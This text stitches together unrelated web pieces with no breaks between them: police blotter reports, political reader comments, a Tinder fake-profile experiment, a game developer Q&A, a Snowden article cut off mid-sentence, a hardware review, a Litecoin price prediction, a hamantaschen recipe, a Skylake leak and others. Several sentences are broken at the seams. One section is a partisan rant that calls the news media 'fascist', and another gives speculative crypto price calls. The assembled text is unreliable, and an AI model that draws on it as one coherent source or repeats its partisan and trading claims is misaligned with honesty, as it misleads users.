A 55-year-old man repeated that after two men were asked to leave the bar for causing a disturbance, one of the men allegedly threatened him with a knife and that he and the other man both threatened to beat him up outside, according to police. The men were arrested after they were identified and officers discovered a folding 4-inch knife in one of the men’s possession, police said.
The suspects were identified by police as James Falco, age 43, of the 5300 block of Blodgett Avenue, Downers Grove, and Mark P. Lejtholc, age 35, of the 5600 block of West Berenice Avenue.
A WOMAN reported that an Uber driver stole items from her at about 2 a.m. Tuesday, May 2, inside her apartment in the 5300 block of North Manila Avenue, according to 16th (Jefferson Park) District police.
The 29-year-old woman reported that she and her friend hired an Uber vehicle to drive them home and that upon arrival to her apartment, she invited the driver upstairs into her residence, according to police. The woman reported that the man stayed for 30 minutes and that after he left, she discovered her cell phone valued at $700 and wallet valued at $20 that contained credit cards, personal identification cards and $620 in cash, were missing, police said.
THE OWNERS of the Subway restaurant, 4070 N. Milwaukee Ave., reported that the business was burglarized at about 1 a.m. Monday, May 1, according to 16th (Jefferson Park) District police.
Officers responded to a commercial alarm at the restaurant and discovered that the front door had been forced open and that a cash register was missing, according to police.
The owners reported that at about 1:40 a.m. that a cash register valued at $3,500 had been removed without its cash drawer from behind the counter, and that on April 13 the glass door to the restaurant had been shattered, police said.
A WOMAN reported that her home in the 4000 block of North Monitor Avenue was burglarized between 8 a.m. and 1:55 p.m. Thursday, May 4, according to 16th (Jefferson Park) District police.
The woman reported that when she returned home she discovered that the back door had been opened and that jewelry valued at $1,000 was missing, according to police.
A CONTRACTOR reported that a residence in the 3700 block of North Narragansett Avenue was burglarized between 3 p.m. Wednesday, May 3, and 1:15 p.m. the following day, according to 16th (Jefferson Park) District police.
The man reported that when he returned to the residence, he discovered that a doorknob containing and electronic lock had been damaged on a side door and that plumbing tools valued at $450, copper pipe and fittings valued at $350, copper wire valued at $240 and two shower kits valued at $200 were missing, according to police. The man reported that the damaged electronic door lock is valued at $50, police said.
THE PASTOR Saint Bartholomew Church, 4950 W. Patterson Ave., reported that a 6-foot-tall marble church statue was vandalized at about 4 p.m. Thursday, May 4, according to 16th (Jefferson Park) District police.
The pastor reported that he discovered a 6-foot-tall marble statue had been knocked over and damaged outside the church, and that the head of the statue was missing, according to police.
A MAN REPORTED that the garage of his home in the 5300 block of West Leland Avenue was burglarized between 9:45 p.m. Sunday, April 30, and the following day, according to 16th (Jefferson Park) District police.
The man reported that when he returned to his garage he discovered that the door had been damaged and that a Honda pressure washer valued at $349, a Craftsman leaf blower valued at $219 and a Troy-Built snow blower valued at $539 were missing, according to police.
A MAN REPORTED that the garage of his home in the 5600 block of North Northcott Avenue was burglarized between 6 p.m. Saturday, April 29, and 7:30 a.m. Monday, May 1, according to 16th (Jefferson Park) District police.
The man reported that when he returned to his garage he discovered that the garage door handle valued at $100 had been broken off and that a Trek mountain bicycle valued at $300, a Schwinn bicycle valued at $100, tools valued at $2,900 and various golf items valued at $3,045 were missing, according to police.
A WOMAN reported that her vehicle was burglarized between 1 a.m. and 7 a.m. Friday, May 5, in the 3500 block of North Rutherford Avenue, according to 16th (Jefferson Park) District police.
The woman reported that when she returned to her vehicle she discovered that her Microsoft laptop computer valued at $600 and prescription medication were missing, according to police.During last week’s leadership Question Time debate in Oldham we asked readers for their reactions. Here are a pick of the contributions:
“It was so great to see Jeremy at last in action on the BBC so that BBC QT audience could at last see the man and why we support him. He was sincere and spoke with a conviction that none can doubt. It will go a long way to counter the mass media constant anti-JC [Jeremy Corbyn] propaganda and smear campaign by the media and the coup MPs who have been shown to be prepared to hijack serious issues in society such as anti-semitism, misogyny, and abuse and to twist these against Jeremy and this supporters to their own devious ends. Shame on them!” – Tiffany
“I must have seen a different debate, I thought Corbyn was an embarrassment living in a world of his own. A particular case being the ridiculous assertions that prior to the PLP resignations that Labour were equal in popularity with the Tories” – Clive
“Far from ‘running amok’, the Tories are trying to cover their flank. The tone is a lot more Major 1991 than Thatcher 1985. Despite no longer needing the Lib Dems, the government is being very careful not to sound radical or ideological. Corbyn is the only explanation that makes sense.
“I think it’s in the medium- to long-term interests of a cohesive Labour Party for a Corbynite platform to be given the chance to lose a General Election. In the unlikely chance that Corbyn can achieve the 10-12 per cent swing needed to form a government with English seats, all the realists and moderates eat humble pie and can try to get a place at the table formulating policy. If he loses badly–without being sabotaged by the Party’s centre and right–then his followers may be prompted to rethink, to draw up an offer that goes beyond young people, metropolitan elites and completely ‘core’ union and dyed-in-the-wool supporters.” – luckydipper
“There must be a realisation that a growing majority of the membership want Corbyn’s policies to be taken to the people in as forceful way as possible. Corbyn is leading the way not following the Tories. The polls will improve if Labour is united behind him and we will win the GE and stop the flow of votes to third parties. It is absolutely wrong for members of the PLP to stand for shadow cabinet if they are unwilling to support Corbyn’s policies”. – Simon
“The bottom line is Smith and the PLP know the British public would never vote to make Corbyn PM. Not in a million years. Corbyn and his fans don’t think that that’s the point. The losers will be the vulnerable, the poor, the young, and the forgotten as ever.” – Bergerac Red
“Smith lost when he started telling the audience they were wrong about what they wanted, and when he started his personal attacks. Ed Miliband would have done a better job than Smith last night.” – Jack-HammerTinder, the online dating app, has exploded in popularity precisely because of its bare-bones simplicity.
There’s purposefully no profiles to fill out, and Tinder’s creators say its superficial focus on looks mimics the social dynamics of the offline world. All members see about potential dates are a few photos, mutual friends and interests, and the other person’s location.
But given how little there is to go by, do people really meet up with strangers they find on Tinder -- with no friends in common, zero personal information and an unusually pretty face? Are a few cute photos and an invitation enough to lure people on a date?
Emphatically, yes. And more than five dozen people, at that.
Intrigued by Tinder’s success on their college’s campus, three Brigham Young University college students set up a social media experiment to test how many men would show up at a frozen yogurt shop to meet a pretty girl they’d found on Tinder, but knew nothing about.
“We were looking at it the other night and wondered, ‘how many guys would actually randomly meet up with someone they’d never talked to in real life or anything?’” said Bowman Bagley, a junior who organized the Tinder test with roommates Danny Gessel and Joshua Valdez. “We weren’t sure we’d be willing to do it … We didn’t think that many people would. And we were proven wrong."
Since Tinder requires a Facebook account to log in -- a measure meant to weed out precisely the kind of fake accounts the roommates created -- Bagley and his friends set up a Facebook profile for a fictional, 21-year-old girl they dubbed “Sammy.” They uploaded a handful of photos taken from Miss Teen USA Kendall Fein’s online profile, signed into Tinder and, on Wednesday at around 9 p.m., spent an hour “liking” every guy that appeared. Tinder online allows two users to message each other if both have “liked” each other.
Soon, Sammy had amassed about 250 matches, meaning several hundred people had “liked” her back. And the following day, the roommates messaged each guy, inviting him to meet Sammy at a local frozen yogurt shop in Orem, Utah.
“I’m going to yogurt shop called yogurtland tonight at 9 in orem with some girl friends if you want to meet up ;) [sic]” Sammy wrote.
Bagley figured it’d be a bust.
“We thought maybe five people would show up because it’s kind of sketchy to have just a random person you’ve never met send you this one message,” he explained.
When his friends arrived at the local Yogurtland, they found it packed with hoards of men, between 19 and 30 years old, milling about in the parking lot, in cars, at tables and in the shop.
“The whole place, just groups of guys after groups of guys showing up in to this little yogurt place on a Thursday night to meet this girl that no one’s ever heard of, has no friends on Facebook or anything,” he said. “People were sitting there on their cars outside the shop watching with their friends to see if this girl would ever show up. A group would leave and a new wave of people would walk in, look at every single girl in the shop and stand against the wall 15 minutes by themselves waiting for this one fake person.”
He estimates that more than 70 men showed up at Yogurtland.
“It blew my mind,” he added.
On the blog A Little Bit of Lizzy, an onlooker described a similar scene.
“We walked toward the door to see groups and groups and groups of guys getting out of their cars, hustling into the building,” "ALittleBitofLizzy" wrote. “I could not believe it! They were swarming! Literally swarming!”
Image credit: Bowman Bagley
The fake Sammy wasn’t a particularly sophisticated fake: The dream girl had just four photos, but no friends, no personal details and no interest in learning more about her matches. “Her” first message to her matches had been her invitation to meet in person. Her primary Tinder photo, visible here, would also seem suspiciously perfect.
What makes the success of the experiment even more impressive is that Tinder’s demographic is theoretically a web-savvy one, used to negotiating the social web. According to Tinder co-founder Justin Mateen, more than 70 percent of Tinder’s users are between 18 and 24 years old, and 20 percent are between 25 and 34.
In an interview earlier this month, Mateen said Tinder hadn’t had problems with fake or spam accounts.
“You have to have a Facebook account with at least 50 friends,” he said. “We kind of depend on Facebook to authenticate users for us, so you don’t really see fake users on Tinder, which you do see on other applications.”
At Yogurtland, the men quickly realized they’d all shown up in search of the same, imaginary dream girl, but most laughed off their mistake. (“If you’re going to act pissed off, it doesnt look as cool to your friends,” noted Bagley.)
Before the Brigham Young roommates erased Sammy’s profile on Friday, they’d received a flood of messages from guys who’d either missed the Yogurtland meet-up -- and wanted to see if she was free on Saturday -- or had been stood up.
“I have to say. Well done. You got a whole bunch of guys to go to Yogurtland. I totally didn’t expect it, until I saw throngs of dudes (who obviously don’t eat at yogurt land [sic] often if ever) in line,” wrote a user named Tim. “Curiosity killed this cat.”
“So, missed ya at the thing tonight,” wrote another.
“social media experiment,” Sammy answered, “her” standard reply.
Bagley, for his part, recently deleted his Tinder profile, just three weeks after setting it up.
“I thought it’d be a fun idea, but then I found myself just sitting there judging people the whole time,” he said. “I’d rather go outside and play volleyball in shorts, enjoy the weather and meet someone that way rather than looking at a picture and seeing if I like them from that.”Asked by Crixomix
Q – “Are there any plans for 1.3 to have any new/improved/balanced weapon modules? Many of us are curious as to the future of weaponry in Elite: Dangerous.”
A – “For some of the Powers we are looking at Power-specific modules and weapons. More info to come. <<< Announcement. ;-)”
Asked by Cmdr PeryplusErithrea
Q – “Me and my father have been wondering if you guys at FD were going to add in a system orrery for in game orbits and such?”
A – “It’s still on the list.”
Asked by SlackR
Q – “When will there be non-celestial things to discover in deep space?”
A – “There already are... ;-)”
Q – “I did say "deep" space... Those probes are still in the sol system so I'm hoping he meant other things to find!”
A - Yes. Other things... ;-)
Asked by Pippo
Q – “Will new characters come into the game (i.e. new senators and politicians) and to what scale?”
A – “Yes. Powers, and their associated characters will come and go. The 'go' will often be due to them dying...”
Asked by Philip Coutts
Q – “Do you envisage Powerplay as a tool to raise the amount of PvP currently happening? It seems that you are giving carte blanche to attack anyone from a different faction to you, regardless if they are wanted or not. Is there not a danger that the inhabited parts of the galaxy end up as one big warzone?”
A – “The carte blanche only exists within systems controlled by your Power and only apply against ships that are aligned with a Power of a different major faction to your Power. Powers interact with each other in different ways and combat is but one of those methods. How the Power is structured geographically will also guide which areas are potential hotspots. In some case Powers could provide a safety zone within their borders by their actions.”
Asked by Matlok
Q – “The Empire have a couple of great ships that adds to the empirical identity. The mighty federation also have ships to call their own. I really love the Alliance, yet I feel they have been very neglected by the defs. Currently, there is no real reason to rank up in their systems, for there is no real reward. With Powerplay, will there be some content for the Alliance faction?
A - “The Alliance is a relative newcomer on the galactic stage, but we know the Alliance is a favourite with many players. The Federation and Empire have both had hundreds of years to evolve their traditions and identity. For the Alliance this is little different from the Independent ships already available in game. That’s not to say that an Alliance ship building project might happen in the future, along with recruitment for the Alliance Navy. The trouble is Prime Minister Mahon finds it hard to get his members to agree...”
Asked by bobiroka
Q – “Will Powerplay effectively replace the current Community Goals system?”
A – “Certainly not! Community goals will still be used in game, and can connect with Powerplay – for example: a campaign of goals to elevate a minor faction to a Power.”
Asked by MrTrendall
Q – “How should we start for trying to get our independent faction in to the top 20 list of factions we can pledge with? Should be start now rapidly expanding them or will we be able to choose our faction out of the 20 you pick?”
A – “Firstly there won't be twenty to start with. It is likely to be ten when Powerplay first goes out. This gives room for more to come in later. Currently there are no minor factions anywhere near being promoted to being a Power.”When, in January 2013, sitting in her Berlin flat, Laura Poitras received an anonymous email requesting her public encryption key (which would allow the sender secure communication), she says she thought little of it. As a filmmaker, Poitras had made documentaries about the American occupation in Iraq and Guantánamo Bay that had earned her international praise and numerous awards. They had also – so it seems – put her on an American government watch list that had resulted in her being detained going in and out of the country more than 40 times over six years. It was no secret that she was now working on a film about government surveillance.
In his next email her anonymous correspondent told her he was a member of the intelligence community, and explained the need for high security, promising Poitras, ‘This won’t be a waste of your time.’
‘That’s when I thought, OK, I need to rethink how I’m approaching this,’ Poitras says. Over the next three or four weeks she continued to exchange emails with the person who called himself Citizenfour, ‘setting up protocols’, as she puts it, and establishing a more secure way to communicate. It was then that she received the email that she describes as ‘the shocker’.
‘He gave a long list of specific things that he could prove. He knew where domestic interception points were; he knew about Presidential Policy Directive 20 [the secret directive on US cyberwar signed by President Obama in October 2012].
‘I had two reactions simultaneously. I thought, OK, if this is real, this is really dangerous, at a level I’ve never worked – personally dangerous. So I was scared, because I knew the magnitude of what the claims were. And then there was another part of me that was very cautious. I actually asked him early on, how do I know this isn’t entrapment? And he said, you’ll know because I’m never going to ask for anything from you, I’m just going to tell you things. So I said OK…’
It was at that point that Poitras stopped using the telephone in her apartment, bought a new computer for cash and started checking her email account only in public places.
On June 1, following instructions from Citizenfour, Poitras, along with two Guardian journalists, Glenn Greenwald and Ewen MacAskill, boarded a plane to Hong Kong. Eight days later a 12½-minute film shot by Poitras was broadcast, revealing Citizenfour as Edward Snowden, a 29-year-old IT specialist working for the contractor Booz Allen Hamilton on behalf of America’s National Security Agency. ‘I have no intention of hiding who I am,’ Snowden said to camera, ‘because I know I have done nothing wrong.’
The information purloined by Edward Snowden about NSA activities is among the most significant leaks in American political history. It revealed that the NSA has maintained a number of mass-surveillance programmes over its own citizens, including accessing information stored by some of America’s biggest technology companies, often without individual warrants, and intercepting data from global telephone and internet networks to build up a store of information on millions of |
archivists, the data dies on the internet—seemingly difficult to near impossible to recover.
“It’s the wild, wild west in terms of what’s out there,” says Grotke. “Nothing is very static on the web. So in order to capture changes in websites, we have to constantly try to archive it.”
It’s been a little over a year since the data harvesting began. As of now and according to Toly Rinberg of EDGI, pages have been cut and altered, but no data sets have been removed from environmental government agency sites. Only a few reports on animal welfare that were scheduled to be taken down before President Trump’s inauguration have been deleted (and are slowly making their way back online after public outcry), as well as the Department of Energy staff directory and a climate modeling tool from the Department of Transportation (which luckily the Internet Archive saved), Janz says.
So far to Janz’s knowledge, there have been very few to no requests for the government data archived during Data Refuge’s rescuing events. She sees it as a good thing that nobody has needed the data that was saved. But the efforts weren’t fruitless.
“We’ve learned a lot about how government agencies are creating this data, how they back things up, how vulnerable they view it,” she says.
he upending of government data and websites is part of a larger systemic problem, one that librarians have been struggling with for decades.
On a daily basis, digital and web librarians sift through the deluge of data. When the web archiving program first started at the Library of Congress, the amount of data managed was small, Grotke says. Now, the archivists have over a petabyte (a million gigabytes)—bringing in about 20 to 25 terabytes (a thousand gigabytes) a month.
And as the amount of online content and the size of websites continue to grow exponentially, they must make executive decisions on what to save and what to sacrifice.
Still, not every bit of data can be salvaged, and not every bit of data necessarily needs to be saved, Grotke explains. What’s kept are the most significant snapshots of what’s happening on the internet right now. And, hopefully, those snapshots will help people in the future: “Our collections will probably be really valuable in about 50 years when some of these websites are really long gone,” says Grotke.
While the internet is a much more unpredictable environment to build an archive out of, the principles of librarianship remain the same. Humans stockpile and organize information to conquer time, says Kari Kraus of the University of Maryland. And librarians will continuously work to come up with new ways to preserve our digital history.
“I like to think of collection as a service,” Rabina says. Just because information may be free now, it doesn’t mean it’ll be free forever, she says. “If you don't collect, it's going to disappear.”Nvidia turned up the heat on AMD's Radeon product range late last year when it released its latest GPUs based on the Maxwell microarchitecture. The GTX 980 delivered previously unseen performance from a single GPU and was highly sought after even at $550.
The GTX 980 wasn't our first look at the Maxwell architecture as the GTX 750 Ti gave us a glimpse of what was to come eight months prior. Priced at $150 the GTX 750 Ti was designed to go head-to-head with AMD's R7 265.
The R7 265 wasn’t a particularly impressive GPU for the simple fact that the R7 270 and R7 270X didn't cost much more at the time but delivered noticeably better performance.
This then made the GTX 750 Ti all the more disappointing as it struggled to keep pace with the equally priced R7 265 which led us to conclude, "In spite of the GTX 750 Ti's efficiency gains, solid overclocking and low power requirements, it doesn't offer enough oomph compared to the R7 265 if both cards are to be sold at $150."
Although the GTX 750 Ti was disappointing, the subsequent Maxwell GPUs haven't been. The GTX 980 Ti, 980, 970 and the 960 are all great cards, though unfortunately most of them cost well over $300. The GTX 960 is the cheapest Maxwell GPU worth buying but at $200 it's still too pricey for many gamers.
That's where the new GTX 950 steps in, replacing the GTX 750 Ti as the new $150 GPU in Nvidia's current generation line up. Whereas the GTX 750 Ti was light on performance, the GTX 950 promises to deliver highly playable 1080p performance and will take on the R7 370 (a rebadged R7 265, which was also a rebadge of 2012's HD 7850).
The GeForce GTX 950
The GTX 950 features the same GM206 GPU as the GTX 960 with a few core features disabled. Rather than all 8 SMM units the GTX 950 features just 6 SMM units for a total of 768 CUDA cores.
Consequently, the texture units have also been reduced from 64 to 48, while the ROPs remain the same at 32.
The base core clock speed has been set at 1024MHz with a boost clock speed of 1188MHz which is comparatively low to the 1127/1228MHz core clock speeds of the GTX 960 so we expect to find quite a bit of overclocking headroom.
Little has been changed to the memory interface as a 128-bit wide bus is still being used, though the memory frequency has been reduced to 6.6GHz effective memory clock from 7.0GHz for the GTX 960. The GTX 950 will also come with 2GB of memory, though 4GB models will also be available, that said we suggest you avoid the 4GB version as the GTX 950 isn't powerful enough to utilize that much memory.
The GTX 950's GM206 GPU ships with a new video engine that natively supports H.265 (HEVC) encode and decode in hardware, while the GTX 950's display engine supports up to four displays at up to 5K (5120x3200) resolution.
The GTX 950 should offer several advantages over the the R7 370. Due to its Maxwell architecture, the GTX 950 should consume less power while delivering more performance. It also supports future DX12 games with feature level 12.1 while the R7 370 is limited to feature level 11.1 and with support for HDMI 2.0, the GTX 950 can playback 4K content at 60 fps.
That said we are not going to place too much emphasis on DX12 support with mid-range to low-end GPUs, as it is unlikely they will offer enough processing power to take advantage of these new rendering technologies.
On hand is Palit's GTX 950 StormX Dual graphics card which has been factory overclocked to 1064MHz base and 1241MHz boost. The card measures 22cm long with a 21cm long PCB and features a bland aluminum heatsink that doesn't utilize heatpipes.
That said, the GTX 950 has been given a 90 watt TDP rating, so we suspect this heatsink will be more than ample. There are two 75mm fans pushing air over the heatsink so airflow isn't going to be an issue.
On the I/O panel we find a single DisplayPort, HDMI output and two Dual-Link DVI ports. Nvidia says the GTX 950 supports three DisplayPort 1.2 connectors, a single HDMI 2.0 output and one Dual-Link DVI port.
Test System SpecsA recently launched digital humanities project allows users to interact with a map of "at risk" archaeological sites in the Middle East and in North Africa--and to uncover imperiled ancient sites worth saving.
The Endangered Archaeology in the Middle East & North Africa (EAMENA) Database was recently launched in late April at a conference on at risk archaeological sites. As is usual within the field of digital humanities, the project brought together a number of people, resources and institutions for the purpose of bringing awareness to these sites through both archival data and geo-spatial visualization. As the consortium notes on the website: "Supported by Arcadia Fund and based at the Universities of Oxford, Leicester and Durham, the EAMENA Database brings together data from satellite imagery and published reports to make available information about archaeological sites and landscapes which are under threat."
The project uses Arches, which is a "geo-spatially enabled" open source platform that was originally created by the Getty Conservation Institute and World Monuments Fund. The database can be searched in either English or Arabic, and has over 150,000 searchable records which can be culled through or visualized using the map interface.
EAMENA is a potent reminder that many sites within the Middle East, North Africa and elsewhere in the Mediterranean world are indeed at risk either of being destroyed, looted, abandoned---or a combination of all three. It also demonstrates the import of digital tools to visualizing need or danger within today's turbulent socio-political landscape.
The development and use of open source tools that spread awareness for various worthy causes (e.g. the protection of archaeological heritage) has never been more apparent. As the Arches website notes about their platform, "The system is freely available for organizations worldwide to download, install, and configure in accordance with their individual needs and without restrictions. Arches is not one single repository; however, an organization could set it up as its own central repository if desired."
This is just one reason why the endangering of federal funding institutions such as the NEH--which regularly provides money for the development of open source digital tools in the U.S.--is so worrying. Having open repositories like EAMENA creates a digital footprint for increasingly ephemeral sites and data, but open source tools then provide others with the ability to build their own archives for information that they deem worthy of saving.You knew the mainstream media was biased, but this is incredible. It was revealed today that CBS News President David Rhodes' brother is Obama Deputy National Security Advisor Ben Rhodes, who was instrumental in rewriting the Benghazi talking points. But it gets worse. It is now learned that ABC President Ben Sherwood's sister, Dr. Elizabeth Sherwood-Randall, is a Special Assistant to Barack Obama on national security affairs. But even this isn't it! CNN's deputy bureau chief, Virginia Moseley, is the wife of Tom Nides, who until February was Hillary Clinton's deputy.
Ben Rhodes is a top NSC advisor with absolutely no foreign policy or military experience. None! This idiot has advocated intervention both in Libya and now Syria. How has that worked out for us? He is responsible for helping to massage the Benghazi talking points to watered down drivel. His greatest accomplishment appears to be a Master's Degree in fiction writing received from New York University. So perhaps we should call him Obama's fiction writer!
In what may be a belated effort to salvage its reputation, or perhaps an effort to get the best scoop now that keeping quiet is out of the question, ABC published a story revealing that there were twelve revisions of the Benghazi memo. The final version eradicated all references to terrorists and al Qaeda. Nice work, Mr. Fiction Writer!
...The only mainstream media reporter really doing her job is CBS's Sharyl Attkison. Attkison has also done a heroic job on the Fast N' Furious Eric Holder gun running scandal. Now it appears CBS is pressuring her to leave. Gee, wonder why?
Whatever shred of credibility existed among the network news organizations has now been utterly obliterated.
The Democrat Party and the media are indistinguishable from one another and it doesn't take much digging to prove it versus going to sleep during a terrorist attack. Cindy Sheehan versus Pat Smith. And Valerie Plame versus the Benghazi Four.Gee, no bias there.We have a fascist media on our hands, bound as tightly to the government as NPR. And it's high time that we treat them as the pariahs they truly are.Litecoin Price Prediction March 30th
Litecoin Price Prediction March 30th Currently Litecoin is trading in a very narrow range between.0075 and.008 vs Bitcoin. Litecoin is in long 1 Day Downtrend we may see a move higher in the near term. Recent selloffs in most Cryptocurrencies due to the increase in Bitcoin has kept the price down. Taking a look at the chart below we see Stochastic RSI in an uptrend at 13 after a significant downtrend and should touch the upper band in the next few days. The CCI is 50 coming out of a bottom and a return to the channel high should see buying.
Litecoin News
Uphold to Support Litecoin
We chose to support these two new cryptocurrencies because of their growing popularity in the developer and open source communities, financial traders and enthusiasts. We will launch Litecoin in April 2016 and Ethereum in May 2016. Until then, we invite you to check out http://Ethereum.org and http://Litecoin.org to learn more about these two great new additions to the Uphold platform.
Litecoin Faucets
I recommend www.faucetbox.com
use their faucet lists, hide the dud ones (there aren’t many) and use another address as a referral (extra payout). I’ve been faucetting a week now, about 1/2 hour a day and I have nigh on 6 million litoshi (currently about 13 euro cents). Don’t listen to the neigh-sayers, just get involved, have some fun and enjoy looking at your virtual coins.
Those of you saying don’t bother; way to discourage people from crawling around the virtcoin universe. It’s harmless and you get a little taste, figure out the decimals etc. For shame.
You can play snake at www.playforcrypto.com and earn hyper. Trade your hyper for litecoin.
You can’t earn a living, but you get to play a fun game instead of just clicking ads and filling in captchas
Living Room of Satoshi – Pay any bill with litecoin!A few weeks ago a recipe started making rounds on the Internet. Not just any recipe, but a recipe for hamantaschen with rainbows. I’m no baker, but I knew I needed to give these a shot. Truthfully, I’ve never really been that excited about hamantaschen. I stay silent when debates about the best of Jewish food turn to the cookie. Yet, I appreciate the symbolism and the history behind the pastry. These triangle shaped cookies represent the villain of the Purim story, Haman. I’m a little fuzzy on the details, but the way I remember the story it has something to do with Haman being pretty uncool towards the Jews, and Esther and Mordechai saving the day. Because of all of that, we eat pastries that resemble the tricornered hat Haman wore.
Well, if we’re going to be celebrating a holiday where someone saves the day by standing up and declaring their hidden identity, it seemed like celebrating with rainbows made sense. I’m an amateur in the kitchen, so I figured if I was going to do this, we could take this adventure together.
I knew Kitchen Tested’s recipe was the only one out there suggesting rainbows, but as a pretty basic baker, I thought I’d start someplace easier. I went with with JewishBoston claimed to be “The Easiest Hamentashen Recipe on the Internet.”
Here’s what you’ll need:
4 eggs
1 cup oil
1 1/4 cup sugar
2 teaspoons vanilla
3 teaspoons baking powder
5 1/2 to 6 cups flour
1-2 small jars baked good filling (apricot, prune, cherry, poppyseed, etc.)
Before we get too much further, I’m going to go on the record here—we will be using chocolate chips as filling. This isn’t up for debate. If there is an opportunity to bake with chocolate, in the Rozensky family, we take it.
Because we’re going to be making these rainbow style, you’ll also need food coloring. Gel-based food coloring is your best bet for making bright colors and not making the dough too sticky.
To make the dough, you’ll want to first mix together eggs, oil, sugar, and vanilla. I borrowed a friends standing mixer, which I recommend, if only for the fact that you feel very important using such a fancy kitchen implement. After your eggs, oil, sugar, and vanilla are properly mixed up- add the baking powder and flour.
Next, you’re going to separate the dough into six sections. While wearing rubber gloves, knead food coloring into each of the sections of dough.
I wore a Wonder Woman apron while baking, which I recommend if you’re feeling less than confident about your abilities. Getting the food coloring uniformly into the dough took the longest in the process. It was also the messiest part, since no matter what I did I seemed to contaminate the colors. I just stuck with my mantra (“This is just for fun. Rainbows are for fun.”) and I managed to make it through.
The next step was to roll out each individual section, and to stack them in a 9″ x 4″ pan. Midway through the baking process I realized I didn’t have a rolling pin, but managed to do just fine by substituting in a can of tomato soup.
After I created the amazing rainbow loaf, it was time to put the dough in the freezer for a half hour.
For the next step, you cut a narrow (1/8 inch thick) slice of dough. I completely own the fact that I was beyond amazed that the dough seemed to look the way it was supposed to look. To make your hammentaschen, you’ll want to use a cup or a circle cookie cutter to cut a circle in the middle of the dough.
Next up, you’ll put your choice of filling in the center of the circle, and fold the sides up into a triangle shape.
Bake the Hammentaschen for 15 minutes at 350 degrees, and you’ll end up with a fantastic rainbow way to celebrate Purim.
Let me be the first to wish you a Happy Purim from Keshet! If you’re in the Bay Area, be sure to check out the Gender Schmear: our Bay Area LGBTQ Purim party. And, if you find yourself celebrating Purim with a few rainbows, be sure to send us your photos!
Purim Your browser does not support the audio element. Pronounced: PUR-im, the Feast of Lots, Origin: Hebrew, a joyous holiday that recounts the saving of the Jews from a threatened massacre during the Persian period.We just received a major leak that updates the original Intel Skylake leak published some time ago. We have now learned more details about the Skylake’s different variants especially the desktop ‘S’ variant including the TDP, eDRAM and Memory configurations. Needless to say this is a very big leak and is going to be a detailed post, so buckle up.
Intel 14nm Skylake Details Leaked -Configurations, TDP, Memory and eDRAM Detailed
Alright, let me begin by saying that since this is an aggregate post which has the latest leak included the sources are numerous. We have our Own Sources, Sweclockers and CPU World. You may recall that Skylake is coming in 4 flavors, namely the U/Y/H and S variants. The ‘S’ variant is the variant intended for desktops while the U, Y and H variants are all BGA packaged variants intended for the mobile platform. We received a very extensive description that updates our original leak. Before we had a hazy idea about the different TDP ranges but now we can assign those TDP ranges to the specific eDRAM and Graphics Configurations. Basically one of the biggest points of Skylake is that it will feature support for DDR4 Ram and will be based on the 100 Chipset ‘Sunrise Point’ of the ‘Sunrise Bay’ platform.
Now Variant ‘U’ and ‘Y’ will integrate this PCH (Platform Control Hub) on the die while the ‘S’ and ‘H’ variants will not and require the chip separately.
The DMI 2.0 is getting replace with the DMI 3.0 Interface that promises speeds of upto 8 GT/s.
Variants ‘U’ and ‘Y’ will support 1 DIMM Slot per Channel while the ‘S’ and ‘H’ Variants will support 2 DIMMs per channel.
The IVR (Internal Voltage Regulator) is to be abandoned for Skylake Processors.
Now take a look at the table below, I have tried my best to sum it up in a coherent fashion but I think it still needs an explanation afterwords:
Intel 14nm Skylake Configuration Table - WCCFTech Variant SKL-Y (BGA) SKL-U (BGA) SKL-H (BGA) SKL-S (LGA) Cores Configurations 2 2 / 2 4 / 4 4 / 2 / 4 Graphic Configurations GT2 GT2 / GT3e GT2 / GT4e GT2 / GT2 / GT4e eDRAM - 64MB - GT3e 128MB - GT4e 64MB - GT4e Memory LPDDR3 1600Mhz LPDDR3 1600Mhz DDR4 2133Mhz DDR3L/DDR3L-RS 1600Mhz, DDR4 2133Mhz TDP 4W 15-28W 35-45W 35-95W
So basically the table displays the different configurations of the Intel Skylake Variants, complete with the eDRAM and TDP information. We see that variants Y and U will only support DDR3 Memory while as H and S will indeed support DDR4 Memory. Since the S Variant supports multiple memory types, motherboard manufacturers will have to work a little harder and come up with different models with different memory types. Anyways the summary of the configurations are as follows:
SKL-Y Config 1: 2 Cores with GT2 Graphics and LPDDR3 1600Mhz Memory Support. TDP is 4W andeDRAM statistics are unknown, most likely because it will not have eDRAM.
2 Cores with GT2 Graphics and LPDDR3 1600Mhz Memory Support. TDP is 4W andeDRAM statistics are unknown, most likely because it will not have eDRAM. SKL-U Config 1: 2 Cores with GT2 Graphics and LPDDR3 1600Mhz Memory Support with 15W TDP.
2 Cores with GT2 Graphics and LPDDR3 1600Mhz Memory Support with 15W TDP. SKL-U Config 2: 2 Cores with GT3e Graphics and 64MB of eDRAM, supports LPDDR3 1600Mhz Memory and 28W TDP.
2 Cores with GT3e Graphics and 64MB of eDRAM, supports LPDDR3 1600Mhz Memory and 28W TDP. SKL-H Config 1: 4 Cores with GT2 Graphics and DDR4 2133Mhz Memory Support. TDP is 35W.
4 Cores with GT2 Graphics and DDR4 2133Mhz Memory Support. TDP is 35W. SKL-H Config 2: 4 Cores with GT4e Graphics and DDR4 2133Mhz Memory Support. Features 128MB eDRAM and a TDP of 45W.
4 Cores with GT4e Graphics and DDR4 2133Mhz Memory Support. Features 128MB eDRAM and a TDP of 45W. SKL-S Processors will support dual memory type namely the DDR3L/DDR3L-RS 1600Mhz and DDR4 2133Mhz. They will also support configurable TDP and come in two models, namely the 35W and 65W designs with the exception of the quad core (GT2 Only) which will come in a 95W TDP Design.
will support dual memory type namely the 1600Mhz and DDR4 2133Mhz. They will also support configurable TDP and come in two models, namely the 35W and 65W designs with the which will come in a 95W TDP Design. SKL-S Config 1: 2 Cores with GT2 Graphics and Dual Memory and Dual TDP.
2 Cores with GT2 Graphics and Dual Memory and Dual TDP. SKL-S Config 2: 4 Cores with GT2 Graphics with Dual Memory and 95W TDP.
4 Cores with GT2 Graphics with Dual Memory and 95W TDP. SKL-S Config 3: 4 Cores with GT4e Graphics with Dual Memory and 64MB of eDRAM. These will feature Dual TDP.
On a concluding note I would like to add that many of these models support configurable TDPs so the SKUs might see more adjustments before they roll out, although the chances of that happening are quite low at this point. That’s all folks.
By Syed Muhammad Usman Pirzada. We cater to your constant need to remain up to date on today’s technology. Like us, tweet to us or +1 us, to keep up with our round the clock updates, reviews, guides and more.Boehner Blasts Tea Party Groups Over Budget Deal Criticism
Enlarge this image toggle caption J. Scott Applewhite/AP J. Scott Applewhite/AP
Some moments feel like turning points. Speaker John Boehner's rhetorical takedown of his party's Tea Party faction seems like one such moment.
